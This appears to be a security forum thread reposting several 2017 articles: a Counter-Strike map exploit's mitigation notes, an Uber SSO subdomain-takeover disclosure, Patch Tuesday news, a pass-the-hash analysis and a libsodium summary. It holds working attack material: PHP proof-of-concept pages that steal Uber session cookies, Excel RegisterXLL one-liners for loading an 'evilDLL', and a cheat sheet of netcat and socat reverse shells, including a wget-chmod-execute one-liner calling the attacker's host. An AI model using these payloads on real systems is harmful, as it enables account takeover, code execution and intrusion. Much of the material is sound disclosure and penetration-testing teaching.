/DYNAMICBASE to linker flags. Enable SafeSEH for all loaded modules, (hl.exe and filesystem_stdio.dll are missing it) Fix: Add /SAFESEH to linker flags. Impact: This will limit the use of Structured Exception Handler (SEH) exploits (which for this bug was possible due to unlimited stack overflow, leading to the corruption of on-stack exception handler function pointers). Enable stack cookies Impact: Enabling stack cookies protects large, on-stack buffers, which is most likely common in the GoldSrc engine. Future buffer overflows would become more difficult to exploit with this mitigation enabled. For the function with the buffer overflow, the usage of stack cookies (or canaries) would have prevented the straightforward saved return address hijack. Fix: Add /GS (guard stack) to compiler flags. Hopefully Valve takes my build environment modifications into consideration as it’s the cheapest and most effective way to improve the overall security posture of GoldSrc and other engines. On Shared Code Vulnerabilities After some digging, I found the source code for the vulnerable function, GL_SubdivideSurface. This function is a part of the original Quake engine and has been inherited by every derivative engine since its open source release! Who knows how many engines out there use this function internally. Thoughts and Future Work Finding bugs in Counter Strike was quite the process. Detailing out in writing makes me appreciate how many little details went into the whole process. This endeavor was primarily a learning experience for me and my first disclosure of a vulnerability. I certainly look forward to finding more interesting bugs and creating even more sophisticated exploits in the future. Follow me on twitter @Digital_Cold to keep up-to-date with any other interesting bugs or targets I run across or comment down below if you have any questions. Special thanks to TobalJackson for proofreading this article. Sursa: https://hernan.de/blog/2017/07/07/lock-and-load-exploiting-counter-strike-via-bsp-map-files/
      • 6
      • Upvote
  2. Authentication bypass on Uber’s Single Sign-On via subdomain takeover Posted on June 25, 2017 by Arne Swinnen TL;DR: Uber was vulnerable to subdomain takeover on saostatic.uber.com via Amazon CloudFront CDN. Moreover, Uber’s recently deployed Single Sign-On (SSO) system at auth.uber.com, which is based on shared cookies between all *.uber.com subdomains, was found vulnerable to session cookie theft by any compromised *.uber.com subdomain. Therefore, the impact of the subdomain takeover could be increased to Authentication Bypass of Uber’s full SSO system, yielding access to all *.uber.com subdomains protected by it (e.g. vault.uber.com, partners.uber.com, riders.uber.com, etc). Uber resolved the subdomain takeover vulnerability and granted a $5.000 bounty for the two combined issues. Single Sign-On security revisited Generally, SSO systems are (variations of) any of the following three types, in order of popularity: OAuth: Security is mainly based on whitelisted callback URLs of service providers configured at the identity providers, and CSRF protection via the “state” parameter. Flaws are often via open redirect chains, e.g. Authentication bypass on Airbnb via OAuth tokens theft. SAML & friends: Security is based on XML messages signed with pre-exchanged cryptographic keys between service and identity providers. Flaws are often XML Signature bypasses, e.g. OneLogin authentication bypass on WordPress sites that bit Uber before. Shared (session) cookies between subdomains: Security is based on the integrity of all subdomains. Any vulnerability on any subdomain that provides an attacker insight in the shared session cookies issued by the SSO system is fatal. Flaws are thus often RCE, debug logs exposure, subdomain takeover and friends on subdomains, e.g. Authentication bypass on Ubiquity’s Single Sign-On via subdomain takeover I personally believe that the first two in this list have had many problems in the past, but have improved lately in terms of security. The latter SSO based on shared session cookies between subdomains is more a technology from the past, before the former two even existed. By design, it enforces that anything that wants to leverage the SSO system to be a subdomain of the same TLD as where the SSO system is based. Since the security of the SSO system is based on the integrity of the subdomains (see aforementioned report and the Uber case below), this is quite an ironic situation. By design, it encourages to increase the attack surface enormously. Uber case Uber used OAuth as an SSO system for *.uber.com subdomains in the past, as can be seen from this recent public disclosure report by @ngalog: [Uber 8k Bug] Login CSRF + Open Redirect = Account Takeover. However recently, they’ve changed (reverted?) to a SSO system based on shared session cookies among subdomains of *.uber.com. If you now browse to any uber.com subdomain that requires authentication (e.g. central, partners, riders, vault, developer, …), you get redirected to auth.uber.com instead. Once you’ve logged in there and you visit another subdomain, you’re logged in there transparently via the SSO system at auth.uber.com, which issues temporary session cookies for every *.uber.com subdomain after being logged in once. A vulnerability was identified in this SSO system that allows any compromised subdomain on *.uber.com to transparently issue and steal valid session cookies issued for *any* uber.com subdomain by auth.uber.com, as long as the victim had already authenticated once to the SSO. Uber did have some countermeasures in place to prevent this, but these were bypassed and reported together with the subdomain takeover for increased impact. Any compromised *.uber.com subdomain could be used to perform the same attack, although Uber explicitly mentioned several *.uber.com subdomains as out of scope in their bug bounty program policy at the time of reporting (e.g. *.dev.uber.com, *.et.uber.com, drive.uber.com, etc). Subdomain takeover Subdomain saostatic.uber.com was pointing to Amazon Cloudfront CDN via a DNS CNAME, but the hostname was not registered there anymore (dangling pointer). This allowed me to fully takeover this domain, highly similar to Subdomain takeover on rider.uber.com due to non-existent distribution on Cloudfrontby Frans Rosén. I effectively took over the subdomain as a Proof of Concept and hosted a simple HTML file as proof here: Authentication bypass In Uber’s SSO system, auth.uber.com acts as Identity Provider and issues temporarily shared session cookies for https://*.uber.com (“domain=uber.com” cookie attribute) to communicate identities to Service Providers (e.g. riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com, developer.uber.com, and many more). Service Providers on their end immediately destroy the incoming temporary shared session cookies in case of erroneous (e.g. issued for other Service Provider) or successful authentication to ensure that the window for theft is small, as can be seen in the below Uber SSO Login diagram: The precious shared session cookie “_csid” can thus only be stolen between steps 9-12, which is a very short period (automatic browser redirects). Although not impossible to exploit (see Jack Whitton’s awesome CSP trick to block certain cookies from being sent to certain domains, coincidentally also on Uber’s bug bounty program), a more convenient flaw was identified that allows the shared session cookie to remain alive after step 12 in the browser’s cookie store in the diagram above. The issue is that, if the victim is already logged in at https://riders.uber.com (situation after last step 12 in diagram) when receiving a request containing a valid newly generated shared session cookie “_csid” from auth.uber.com, it is simply ignored and remains usable. Hence it stays alive in the browser until its cookie store is cleared. An attacker simply needs to replay step 3 in the above diagram as step 13 and end with an additional hidden request to https://saostatic.uber.com to steal the precious session cookie: So once an attacker gets his/her hands on the victim’s “_csid” shared session cookie for https://riders.uber.com, he/she can execute the normal login flow in their own browser and replace the issued “_csid” cookie value in step 9 to be logged in as the victim, right? Wrong. Uber had another surpising countermeasure in place, namely a variant of login cross-site request forgery protection. This is the actual updated Uber SSO Login diagram: The problem here are the GET param state=CSRFTOKEN and locally scoped state cookie that are added in step 3 by the Service Provider riders.uber.com and verified in step 11. Since we can’t steal these values from the victim’s browser, but only the “_csid” shared session cookie, this means game over, right? Unfortunately, wrong. An attacker can obtain a proper CSRFTOKEN value and accompanying state cookie value from https://riders.uber.com by starting a normal login scenario on their end (e.g. in their own browser or via a simple script). He/she can then relay the auth.uber.com URL generated by https://riders.uber.com in their own browser in step 3 to the victim’s browser to generate & steal the “_csid” shared session cookie for these values, and inject these in his/her own browser login scenario again in step 9. In this manner, the victim effectively generates the “_csid” temporary session token for the attacker’s login scenario in a separate browser, but this works flawlessly (e.g. no IP-based checks between steps were encountered). This still allows exploitation and thus victim impersonation in the following manner (we still assume that the victim is already logged in to auth.uber.com and visits a webpage under control by the attacker, so we basically continue the flow from the above diagram): Proof of concept A PoC says more than a thousand diagrams. In the PoC steps sent to Uber & showcased in the video below, the assumption is made that https://saostatic.uber.com is actually serving a valid SSL certificate in the victim’s browser, which was not the case. However, it could’ve easily been generated with Let’s Encrypt. Open the victim’s browser & browse to https://riders.uber.com. After being redirected to https://auth.uber.com, login with the victim’s credentials so you end up on https://riders.uber.com trips dashboard again. Open a second browser tab in the victim’s browser and browse to https://saostatic.uber.com/prepareuberattack.php. Accept any certificate warnings that you may receive here – again, we’re only simulating that the domain has a valid SSL certificate. Once the page has finished loading you should see a URL, “Cookie: ” string and a “Set-Cookie: ” strings underneath each other. This is all info gathered under the hood by the attacker’s webserver that is required to login as the victim now – everything has been stolen automagically. Open the separate attacker’s browser and setup an intercepting proxy tool to intercept requests and responses. Browse to the URL displayed on the prepareuberattack.php page output and intercept this request. Now copy the “Cookie: …” string displayed on prepareuberattack.php and paste it into the request headers. The response should be a redirect to https://riders.uber.com/trips, indicating successful authentication bypass. Last but not least, copy all the “Set-Cookie: ” lines from the prepareuberattack.php page output and paste them in the response before forwarding it to the browser. This ensures that the stolen cookies are permanently injected in the attacker’s browser. You are now logged in as the victim in the attacker’s browser. In a real attack scenario, an attacker would stealthily load https://saostatic.uber.com/prepareuberattack.php in the victim’s browser, e.g. through an iframe. Likewise, he/she would probably not display the URL and all the cookies on the resulting page, but store this on the server-side, ready to be abused in a stealthy fashion. Although it’s a lengthy explanation, the PoC video showcases how quick & effective exploitation by an attacker can be. The code of the https://saostatic.uber.com/prepareuberattack.php and https://saostatic.uber.com/uberattack.php pages is provided below. This was written quick & dirty for PoC purposes, but it did the job: prepareuberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <html> <body> <script> <?php function HandleHeaderLine( $curl, $header_line ) { preg_match("/state=([^;]*);/", $header_line, $matches); if(sizeof($matches) > 0) { print("var cookiestate = '" . $matches[1] . "';\n"); } preg_match("/Location: (.*)/", $header_line, $matches); if(sizeof($matches) > 0) { print("var loc = '" . trim($matches[1]) . "';\n"); } return strlen($header_line); } $c = curl_init('https://riders.uber.com'); curl_setopt($c, CURLOPT_VERBOSE, 1); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine"); $page = curl_exec($c); ?> var csrf = loc.substring(loc.lastIndexOf("=")+1); var img = document.createElement("IMG"); img.onerror = function () { var iframe = document.createElement("iframe"); iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf); iframe.setAttribute("width", "100%"); iframe.setAttribute("height", "10000"); document.body.appendChild(iframe); } img.src=loc; </script> </body> </html> uberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <html> <body> <?php $cookiestring = "state=" . $_GET["cookiestate"] . "; "; $interestincookies = array("_udid", "_csid", "sid"); foreach ($_COOKIE as $name => $value) { if (in_array($name,$interestincookies)) { $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; "; $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";</br>"; } } print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />"; print "Cookie: " . $cookiestring . "<br />"; print "<br />" . $cookiestringset . "<br />"; ?> </body> </html> The first file can be hosted anywhere, the second file must be hosted on the hijacked subdomain (since it reads & reflects the incoming session cookies). By simply changing “riders.uber.com” to any other subdomain of uber.com in these two PHP files, an attacker could generate valid sessions for these subdomains on behalf of the victim, e.g. vault.uber.com, partners.uber.com, developer.uber.com, … Recommendations The recommendations provided to Uber were twofold: Resolve the subdomain takeover of saostatic.uber.com by removing the dangling CNAME to AWS CloudFront CDN. Resolve the Authentication Bypass issue by any of the following, in order of priority: Revert the SSO system back to OAuth 2, since this does not have the side-effect of actually encouraging a large attack surface like the current shared session SSO system. Or, implement an IP address check: Store a user’s external IP address when issuing a shared “_csid” session cookie on auth.uber.com (identity provider) and verify that users presenting this shared session cookie to service providers on *.uber.com have the same external IP address, to prevent relay attacks like the one described above. There is a residual risk here, namely when the attacker has the same external IP address as its victim (e.g. on the same corporate network/wireless access point/…). Or, accept the inherent risk and include all *.uber.com subdomains in your bug bounty program scope, since they have the potential to fully compromise the SSO system, including the high-value targets vault.uber.com, partners.uber.com and riders.uber.com Ultimately, Uber removed the dangling CNAME and decided to implement the IP address check to decrease the exposed risk through their current cookie based SSO system. They thus opted to accept the residual risk involved. Timeline 07/04/2017: Submitted bug report to Uber 11/04/2017: Triaged by Uber 14/04/2017: $500 minimum bounty awarded 06/06/2017: Pinged Uber about the report, since I still owned saostatic.uber.com at this point 06/06/2017: Response from Uber that this report fell through the cracks, starting mitigations now 07/06/2017: DNS CNAME record for saostatic.uber.com removed, report marked as closed 14/06/2017: Extra $4.500 bounty awarded 07/07/2017: IP address check deployed by Uber and confirmed after retest 11/07/2017: Permission granted to publish blogpost by Uber Arne Swinnen Belgian. IT Security. Bug Bounty Hunter. Sursa: https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/
      • 3
      • Upvote
  3. Microsoft Releases Updates to Fix 26 Security Vulnerabilities in Windows This month’s Patch Tuesday addresses 54 vulnerabilities Jul 12, 2017 05:31 GMT · By Bogdan Popa · Microsoft has rolled out patches to fix a total of 54 vulnerabilities in its products, including a total of 26 security flaws in the Windows operating system. All Windows versions received patches this month, including Windows 7, Windows 8.1, and Windows 10, with critical vulnerabilities addressed for each version. There were no less than 19 critical flaws in the operating system, all of them leading to Remote Code Execution. One of the vulnerabilities that should be prioritized this month when starting patching is documented in CVE-2017-8589. It affects all Windows versions currently receiving support, including not only desktop client versions like Windows 7, 8.1, and 10, but also Windows Server 2008, 2008 R2, 2012, and 2016. The vulnerability resides in the Windows Search service and can be exploited with an SMB attack, though it’s important to note that it’s not related in any way to the security flaw that was exploited as part of the WannaCry and Petya ransomware attackers. The SMB vulnerability used in these attacks has already been patched in March this year. Microsoft explains that this new vulnerability could allow an attacker to get full control of an unpatched system by sending a crafted message to the Windows Search service. Windows Explorer vulnerability Another critical vulnerability that needs to be patched as soon as possible is CVE-2017-8463, which impacts Windows Explorer and thus affects all Windows versions that are still getting support. “To exploit this vulnerability, an attacker would first share both a folder and malware named with an executable extension, and then trick the user into thinking that the malware was the folder. The attacker could not force the user to open or browse the share but could use email or instant messages to trick them into doing so,” Microsoft explains. On the good side, Microsoft says there are no vulnerabilities that are being exploited in the wild, but users are recommended to update their systems as soon as possible anyway. Reboots are required to complete patching, and IT admins need to say work on Windows systems before launching the update. Sursa: http://news.softpedia.com/news/microsoft-releases-updates-to-fix-26-security-vulnerabilities-in-windows-516936.shtml
  4. Execute DLL via the Excel.Application object's RegisterXLL() method BAT REM rundll32 mshtml.dll HTA one-liner command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close(); JS // Create Instace of Excel.Application COM object var excel = new ActiveXObject("Excel.Application"); // Pass in path to the DLL (can use any extension) excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz"); Powershell # Create Instace of Excel.Application COM object $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) # Pass in path to the DLL (can use any extension) $excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt") Sursa: https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52
      • 2
      • Upvote
  5. Upgrading simple shells to fully interactive TTYs 10 JULY 2017 Table of Contents Generating reverse shell commands Method 1: Python pty module Method 2: Using socat Method 3: Upgrading from netcat with magic tl;dr cheatsheet Every pentester knows that amazing feeling when they catch a reverse shell with netcat and see that oh-so-satisfying verbose netcat message followed by output from id. And if other pentesters are like me, they also know that dreadful feeling when their shell is lost because they run a bad command that hangs and accidentally hit "Ctrl-C" thinking it will stop it but it instead kills the entire connection. Besides not correctly handling SIGINT, these"dumb" shells have other shortcomings as well: Some commands, like su and ssh require a proper terminal to run STDERR usually isn't displayed Can't properly use text editors like vim No tab-complete No up arrow history No job control Etc... Long story short, while these shells are great to catch, I'd much rather operate in a fully interactive TTY. I've come across some good resources that include very helpful tips and techniques for "upgrading" these shells, and wanted to compile and share in a post. Along with Pentest Monkey, I also learned the techniques from Phineas Fisher in his released videos and writeups of his illegal activities: Pentest Monkey - Post Exploitation Without a TTY Phineas Fisher Hacks Catalan Police Union Website Phineas Fisher - Hackingteam Writeup For reference, in all the screenshots and commands to follow, I am injecting commands in to a vulnerable web server ("VICTIM") and catching shells from my Kali VM ("KALI"): VICTIM IP: 10.0.3.7 KALI IP: 10.0.3.4 Generating reverse shell commands Everyone is pretty familiar with the traditional way of using netcat to get a reverse shell: nc -e /bin/sh 10.0.3.4 4444 and catching it with: nc -lvp 4444 The problem is not every server has netcat installed, and not every version of netcat has the -e option. Pentest Monkey has a great cheatsheet outlining a few different methods, but my favorite technique is to use Metasploit's msfvenom to generate the one-liner commands for me. Metasploit has several payloads under "cmd/unix" that can be used to generate one-liner bind or reverse shells: Any of these payloads can be used with msfvenom to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here's a netcat command not requiring the -e flag: And here's a Perl oneliner in case netcat isn't installed: These can all be caught by using netcat and listening on the port specified (4444). Method 1: Python pty module One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let's you spawn a psuedo-terminal that can fool commands like su into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command: python -c 'import pty; pty.spawn("/bin/bash")' This will let you run su for example (in addition to giving you a nicer prompt) Unfortunately, this doesn't get around some of the other issues outlined above. SIGINT (Ctrl-C) will still close Netcat, and there's no tab-completion or history. But it's a quick and dirty workaround that has helped me numerous times. Method 2: Using socat socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY's over TCP connections. If socat is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with socat as well to get the full functions. The following commands will yield a fully interactive TTY reverse shell: On Kali (listen): socat file:`tty`,raw,echo=0 tcp-listen:4444 On Victim (launch): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 If socat isn't installed, you're not out of luck. There are standalone binaries that can be downloaded from this awesome Github repo: https://github.com/andrew-d/static-binaries With a command injection vuln, it's possible to download the correct architecture socat binary to a writable directoy, chmod it, then execute a reverse shell in one line: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 On Kali, you'll catch a fully interactive TTY session. It supports tab-completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It's a full terminal. Pretty sweet. Method 3: Upgrading from netcat with magic I watched Phineas Fisher use this technique in his hacking video, and it feels like magic. Basically it is possible to use a dumb netcat shell to upgrade to a full TTY by setting some stty options within your Kali terminal. First, follow the same technique as in Method 1 and use Python to spawn a PTY. Once bash is running in the PTY, background the shell with Ctrl-Z While the shell is in the background, now examine the current terminal and STTY info so we can force the connected shell to match it: The information needed is the TERM type ("xterm-256color") and the size of the current TTY ("rows 38; columns 116") With the shell still backgrounded, now set the current STTY to type raw and tell it to echo the input characters with the following command: stty raw -echo With a raw stty, input/output will look weird and you won't see the next commands, but as you type they are being processed. Next foreground the shell with fg. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset. Note: I did not type the nc command again (as it might look above). I actually entered fg, but it was not echoed. The nc command is the job that is now in the foreground. The reset command was then entered into the netcat shell After the reset the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above) $ export SHELL=bash $ export TERM=xterm256-color $ stty rows 38 columns 116 The end result is a fully interactive TTY with all the features we'd expect (tab-complete, history, job control, etc) all over a netcat connection: The possibilities are endless now. Tmux over a netcat shell?? Why not? tl;dr cheatsheet Cheatsheet commands: Using Python for a psuedo terminal python -c 'import pty; pty.spawn("/bin/bash")' Using socat #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 Using stty options # In reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # In Kali $ stty raw -echo $ fg # In reverse shell $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows <num> columns <cols> Any other cool techniques? Let me know in the comments or hit me up on twitter. Enjoy! -ropnop Sursa: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
      • 3
      • Upvote
  6. WillFollow Co-founder of Empire/BloodHound/Veil-Framework | PowerSploit developer | Microsoft PowerShell MVP | Security at the misfortune of others | http://specterops.io Mar 16 Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy Nearly three years ago, I wrote a post named “Pass-the-Hash is Dead: Long Live Pass-the-Hash” that detailed some operational implications of Microsoft’s KB2871997 patch. A specific sentence in the security advisory, “Changes to this feature include: prevent network logon and remote interactive logon to domain-joined machine using local accounts…” led me to believe (for the last 3 years) that the patch modified Windows 7 and Server 2008 behavior to prevent the ability to pass-the-hash with non-RID 500 local administrator accounts. My colleague Lee Christensen recently pointed out that this was actually incorrect, despite Microsoft’s wording, and that the situation is more nuanced than we initially believed. It’s worth noting that pwnag3’s seminal “What Did Microsoft Just Break with KB2871997 and KB2928120” article also suffers from the same misunderstandings that my initial post did. We now have a better understanding of these topics and wanted to set the record straight as best we could. This is my mea culpa for finally realizing that KB2871997, in the majority of situations, had absolutely nothing to do with stopping “complicating” the use of pass-the-hash in Windows enterprises. Apologies for preaching the incorrect message for nearly 3 years- I hope to atone for my sins :) And as always, if there are errors in this post, please let me know and I will update! Clarifying KB2871997 So what did this patch actually do if it didn’t automatically “prevent network logon and remote interactive logon to domain-joined machines using local accounts”? As Aaron Margosis describes, the patch introduced, among many other changes, two new security identifiers (SIDs): S-1–5–113 (NT AUTHORITY\Local account) and S-1–5–114 (NT AUTHORITY\Local account and member of Administrators group). As detailed in the Microsoft article, these SIDs can be used through group policy to effectively block the use of all local administrative accounts for remote logon. Note that while KB2871997 backported these SIDs to Windows 7 and Server 2008/2012, they were incorporated by default in the Windows operating system from Windows 8.1 and Server 2012 R2+. This is something that Sean Metcalf has previously mentioned and Aaron specifically clarified in the comments of that Microsoft post. Sidenote: Luckily for us, this also means that any user authenticated on the domain can enumerate these policies and see what machines have these restrictions set. I’ll cover how to perform this type of enumeration and correlation in a future post. I assumed, incorrectly, that this patch modified existing behavior on Windows 7 machines. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500 Administrator (in most situations, see more below). Here we can see that KB2871997 is not installed on a basic Windows 7 install: Yet executing pass-the-hash with the ‘admin’ non-RID 500 account that’s a member of local Administrators fails: So this behavior existed even before the KB2871997 release. Part of this confusion was due to the language used in the security advisory, but I take responsibility for not testing the situation fully and relaying the correct information. While we do highly recommend Aaron’s recommendations of deploying GPOs with these new SIDs to help mitigate lateral spread, we also reserve the right to still smirk at the KB’s original title ;) http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html Remote Access and User Account Control So if the patch isn’t affecting this behavior, what is preventing us from using pass-the-hash with local admin accounts? And why does the RID 500 account operate as a special case? Adding to that, why are domain accounts that are members of local administrators exempt from this blocking behavior as well? Also, over the past several years we’ve also noticed on some engagements that pass-the-hash will still work with non-RID 500 local admin accounts, despite the patch being applied. This behavior always bugged us but we think we can finally explain all these inconsistencies. The actual culprit for all these questions is user account control (UAC) token filtering in the context of remote access. I always thought of UAC solely in the context of local host actions but there are various implications for remote situations as well. The ”User Account Control and Remote Scenarios” section of the Microsoft “Windows Vista Application Development Requirements for User Account Control Compatibility” document and “Description of User Account Control and remote restrictions in Windows Vista” post both explain a lot of this behavior, and clarified several points for me personally. Tl;dr for any non-RID 500 local admin account remotely connecting to a Windows Vista+ machine, whether through WMI, PSEXEC, or other methods, the token returned is “filtered” (i.e. medium integrity) even though the user is a local administrator. Since there isn’t a method to remotely escalate to a high-integrity context, except through RDP (which needs a plaintext password unless ‘Restricted Admin’ mode is enabled) the token remains medium integrity. So when the user attempts to access a privileged resource remotely, e.g. ADMIN$, they receive an “Access is Denied” message despite technically having administrative access. I’ll get to the RID 500 exception in a bit ;) For local user accounts in a local “Administrators” group, the “Windows Vista Application Development Requirements for User Account Control Compatibility” document describes the following behavior: When a user with an administrator account in a Windows Vista computer’s local Security Accounts Manager (SAM) database remotely connects to a Windows Vista computer, the user has no elevation potential on the remote computer and cannot perform administrative tasks. Microsoft’s “Description of User Account Control and remote restrictions in Windows Vista” post describes this in another way: When a user who is a member of the local administrators group on the target remote computer establishes a remote administrative connection…they will not connect as a full administrator. The user has no elevation potential on the remote computer, and the user cannot perform administrative tasks. If the user wants to administer the workstation with a Security Account Manager (SAM) account, the user must interactively log on to the computer that is to be administered with Remote Assistance or Remote Desktop. And for domain user accounts in a local “Administrators” group, the document states: When a user with a domain user account logs on to a Windows Vista computer remotely, and the user is a member of the Administrators group, the domain user will run with a full administrator access token on the remote computer and UAC is disabled for the user on the remote computer for that session. So that explains why local admin accounts fail with remote access (except through RDP) as well as why domain accounts are successful. But why does the built-in RID 500 Administrator account act as a special case? Because by default the built-in administrator account (even if renamed) runs all applications with full administrative privileges (“full token mode”), meaning that user account control is effectively not applied. So when remote actions are initiated using this account, a full high-integrity (i.e. non-filtered) token is granted, allowing for proper administrative access! There is one exception- “Admin Approval Mode”. The key that specifies this is at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken and is disabled by default. However, if this key is enabled, the RID 500 account (even if it’s renamed) is enrolled in UAC protection. This means that remote PTH to the machine using that account will then fail. But there’s a silver lining for attackers- this key is often set through Group Policy, meaning that any domain authenticated user can enumerate what machines do and do not have FilterAdministratorToken set through the application of GPOs. While this will miss cases where the key is set on a standard “gold” image, performing this key enumeration from the initial machine an attacker lands on, combined with GPO enumeration, should cover most situations. And remember that while Windows disables the built-in -500 Administrator account by default, it’s still fairly common to see it enabled across enterprises. My original pass-the-hash post covered basic remote enumeration of this information, and this post goes into even more detail. LocalAccountTokenFilterPolicy There’s another silver lining for us attackers, something that has much more defensive implications than we initially realized. Jonathan Renard touched on some of this (as well as Admin Approval Mode) in his “*Puff* *Puff* PSExec” post, but I wanted to expand just a bit in relation to the overall pass-the-hash discussion. If the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy key exists (which doesn’t by default) and is set to 1, then remote connections from all local members of Administrators are granted full high-integrity tokens during negotiation. This means that a non-RID 500 account connections aren’t filtered and can successfully pass-the-hash! So why would you possibly set this registry entry? Googling for the key name will turn up different scenarios where this functions as a workaround, but there’s one frequent violator: Windows Remoting. There is a non-trivial amount of Microsoft documentation that recommends setting LocalAccountTokenFilterPolicy to 1 as a workaround or solution to various issues: “Disabling Remote UAC by changing the registry entry that controls Remote UAC is not recommended, but may be necessary…” “Set-ItemProperty –Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System –Name LocalAccountTokenFilterPolicy –Value 1 –Type DWord” “User Account Control (UAC) affects access to the WinRM service” “…you can use the LocalAccountTokenFilterPolicy registry entry to change the default behavior and allow remote users who are members of the Administrators group to run with Administrator privileges.” “How to disable UAC remote restrictions” In addition, I believe there are some situations where the WinRM quickconfig may even set this key automatically, but I was not able to reliably recreate this scenario. Microsoft’s “Obtaining Data from a Remote Computer” document further details: Because of User Account Control (UAC), the remote account must be a domain account and a member of the remote computer Administrators group. If the account is a local computer member of the Administrators group, then UAC does not allow access to the WinRM service. To access a remote WinRM service in a workgroup, UAC filtering for local accounts must be disabled by creating the following DWORD registry entry and setting its value to 1: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] LocalAccountTokenFilterPolicy. This is bad advice, BAD BAD BAD BAD BAD! I realize that this setting maybe needed to facilitate some specific WinRM deployment scenarios, but once LocalAccountTokenFilterPolicy is set to 1 then ANY local administrator account on a machine can be used to pass-the-hash to the target. I feel that most people, myself included, have not realized the actual security implications of this modification. The only real warning I saw through all of the Microsoft documentation was “Caution: The LocalAccountTokenFilterPolicy entry disables user account control (UAC) remote restrictions for all users of all affected computers. Consider the implications of this setting carefully before changing the policy”. As this setting enables a large amount of risk for an enterprise environment, I hoped for a better set of definitive guidance and warnings from Microsoft beyond “consider the implications”, but ¯\_(ツ)_/¯ Operationally (from an offensive perspective) it’s good to check if your pivot machine has the LocalAccountTokenFilterPolicy key set to 1, as other machines in the same subnet/OU may have the same setting. You can also enumerate Group Policy settings to see if this key is set through GPO, something again that I will cover in a future post. Finally, you can use PowerView to enumerate any Windows 7 and Service 2008 machines with Windows Remoting enabled, hoping that they have run some kind of Windows Remoting setup incorrectly: Get-DomainComputer -LDAPFilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -SPN "wsman*" -Properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl It’s also worth noting that Microsoft’s LAPS effectively renders everything here moot. As LAPS randomizes the local administrator password for machines on a periodic basis, pass-the-hash will effectively still work, but it greatly limits the ability to recover and reuse local key material. This renders traditional PTH attacks (with local accounts at least) largely ineffective. Have fun! Originally published at harmj0y. Sursa: https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167
      • 1
      • Upvote
  7. The Sodium crypto library (libsodium) Sodium is a modern, easy-to-use software library for encryption, decryption, signatures, password hashing and more. It is a portable, cross-compilable, installable, packageable fork of NaCl, with a compatible API, and an extended API to improve usability even further. Its goal is to provide all of the core operations needed to build higher-level cryptographic tools. Sodium supports a variety of compilers and operating systems, including Windows (with MinGW or Visual Studio, x86 and x86_64), iOS and Android. The design choices emphasize security, and "magic constants" have clear rationales. And despite the emphasis on high security, primitives are faster across-the-board than most implementations of the NIST standards. Version 1.0.12 was released on Mar 12, 2017. Downloading libsodium Github repository Tarballs and pre-compiled binaries Documentation Mailing list A mailing-list is available to discuss libsodium. In order to join, just send a random mail to sodium-subscribe {at} pureftpd{dot}org. Offline documentation This documentation can be downloaded as ePUB (for iPad, iPhone, Mac), MOBI (for Kindle) and PDF here: https://www.gitbook.com/book/jedisct1/libsodium/details License ISC license. See the LICENSE file for details. Sursa: https://download.libsodium.org/doc/
